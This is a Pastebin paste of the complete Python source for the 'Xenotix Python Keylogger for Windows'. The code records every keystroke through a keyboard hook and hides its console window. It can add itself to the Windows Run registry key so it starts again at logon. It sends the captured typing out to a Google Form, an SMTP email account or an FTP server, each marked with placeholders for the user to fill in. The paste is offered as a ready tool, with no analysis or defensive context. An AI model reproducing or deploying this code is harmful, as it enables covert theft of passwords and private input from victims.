Guest User

Untitled

a guest
Jun 27th, 2018
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.89 KB | None | 0 0
  1. '''
  2. try:
  3. import pythoncom, pyHook
  4. except:
  5. print "Please Install pythoncom and pyHook modules"
  6. exit(0)
  7. import os
  8. import sys
  9. import threading
  10. import urllib,urllib2
  11. import smtplib
  12. import ftplib
  13. import datetime,time
  14. import win32event, win32api, winerror
  15. from _winreg import *
  16.  
  17. #Disallowing Multiple Instance
  18. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  19. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  20. mutex = None
  21. print "Multiple Instance not Allowed"
  22. exit(0)
  23. x=''
  24. data=''
  25. count=0
  26.  
  27. #Hide Console
  28. def hide():
  29. import win32console,win32gui
  30. window = win32console.GetConsoleWindow()
  31. win32gui.ShowWindow(window,0)
  32. return True
  33.  
  34. def msg():
  35. print """\n \nXenotix Python Keylogger for Windows
  36. Coder: Ajin Abraham <ajin25@gmail.com>
  37. OPENSECURITY.IN
  38. usage:xenotix_python_logger.py mode [optional:startup]
  39. mode:
  40. local: store the logs in a file [keylogs.txt]
  41.  
  42. remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
  43.  
  44. email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
  45.  
  46. ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
  47. [optional] startup: This will add the keylogger to windows startup.\n\n"""
  48. return True
  49.  
  50. # Add to startup
  51. def addStartup():
  52. fp=os.path.dirname(os.path.realpath(__file__))
  53. file_name=sys.argv[0].split("\\")[-1]
  54. new_file_path=fp+"\\"+file_name
  55. keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  56.  
  57. key2change= OpenKey(HKEY_CURRENT_USER,
  58. keyVal,0,KEY_ALL_ACCESS)
  59.  
  60. SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)
  61.  
  62. #Local Keylogger
  63. def local():
  64. global data
  65. if len(data)>100:
  66. fp=open("keylogs.txt","a")
  67. fp.write(data)
  68. fp.close()
  69. data=''
  70. return True
  71.  
  72. #Remote Google Form logs post
  73. def remote():
  74. global data
  75. if len(data)>100:
  76. url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
  77. klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
  78. try:
  79. dataenc=urllib.urlencode(klog)
  80. req=urllib2.Request(url,dataenc)
  81. response=urllib2.urlopen(req)
  82. data=''
  83. except Exception as e:
  84. print e
  85. return True
  86.  
  87. #Email Logs
  88. class TimerClass(threading.Thread):
  89. def __init__(self):
  90. threading.Thread.__init__(self)
  91. self.event = threading.Event()
  92. def run(self):
  93. while not self.event.is_set():
  94. global data
  95. if len(data)>100:
  96. ts = datetime.datetime.now()
  97. SERVER = "smtp.gmail.com" #Specify Server Here
  98. PORT = 587 #Specify Port Here
  99. USER="your_email@gmail.com"#Specify Username Here
  100. PASS="password_here"#Specify Password Here
  101. FROM = USER#From address is taken from username
  102. TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  103. SUBJECT = "Keylogger data: "+str(ts)
  104. MESSAGE = data
  105. message = """\
  106. From: %s
  107. To: %s
  108. Subject: %s
  109. %s
  110. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  111. try:
  112. server = smtplib.SMTP()
  113. server.connect(SERVER,PORT)
  114. server.starttls()
  115. server.login(USER,PASS)
  116. server.sendmail(FROM, TO, message)
  117. data=''
  118. server.quit()
  119. except Exception as e:
  120. print e
  121. self.event.wait(120)
  122.  
  123. #Upload logs to FTP account
  124. def ftp():
  125. global data,count
  126. if len(data)>100:
  127. count+=1
  128. FILENAME="logs-"+str(count)+".txt"
  129. fp=open(FILENAME,"a")
  130. fp.write(data)
  131. fp.close()
  132. data=''
  133. try:
  134. SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
  135. USERNAME="ftp_username" #Specify your FTP Username
  136. PASSWORD="ftp_password" #Specify your FTP Password
  137. SSL=0 #Set 1 for SSL and 0 for normal connection
  138. OUTPUT_DIR="/" #Specify output directory here
  139. if SSL==0:
  140. ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
  141. elif SSL==1:
  142. ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
  143. ft.cwd(OUTPUT_DIR)
  144. fp=open(FILENAME,'rb')
  145. cmd= 'STOR' +' '+FILENAME
  146. ft.storbinary(cmd,fp)
  147. ft.quit()
  148. fp.close()
  149. os.remove(FILENAME)
  150. except Exception as e:
  151. print e
  152. return True
  153.  
  154. def main():
  155. global x
  156. if len(sys.argv)==1:
  157. msg()
  158. exit(0)
  159. else:
  160. if len(sys.argv)>2:
  161. if sys.argv[2]=="startup":
  162. addStartup()
  163. else:
  164. msg()
  165. exit(0)
  166. if sys.argv[1]=="local":
  167. x=1
  168. hide()
  169. elif sys.argv[1]=="remote":
  170. x=2
  171. hide()
  172. elif sys.argv[1]=="email":
  173. hide()
  174. email=TimerClass()
  175. email.start()
  176. elif sys.argv[1]=="ftp":
  177. x=4
  178. hide()
  179. else:
  180. msg()
  181. exit(0)
  182. return True
  183.  
  184. if __name__ == '__main__':
  185. main()
  186.  
  187. def keypressed(event):
  188. global x,data
  189. if event.Ascii==13:
  190. keys='<ENTER>'
  191. elif event.Ascii==8:
  192. keys='<BACK SPACE>'
  193. elif event.Ascii==9:
  194. keys='<TAB>'
  195. else:
  196. keys=chr(event.Ascii)
  197. data=data+keys
  198. if x==1:
  199. local()
  200. elif x==2:
  201. remote()
  202. elif x==4:
  203. ftp()
  204.  
  205. obj = pyHook.HookManager()
  206. obj.KeyDown = keypressed
  207. obj.HookKeyboard()
  208. pythoncom.PumpMessages()
Add Comment
Please, Sign In to add comment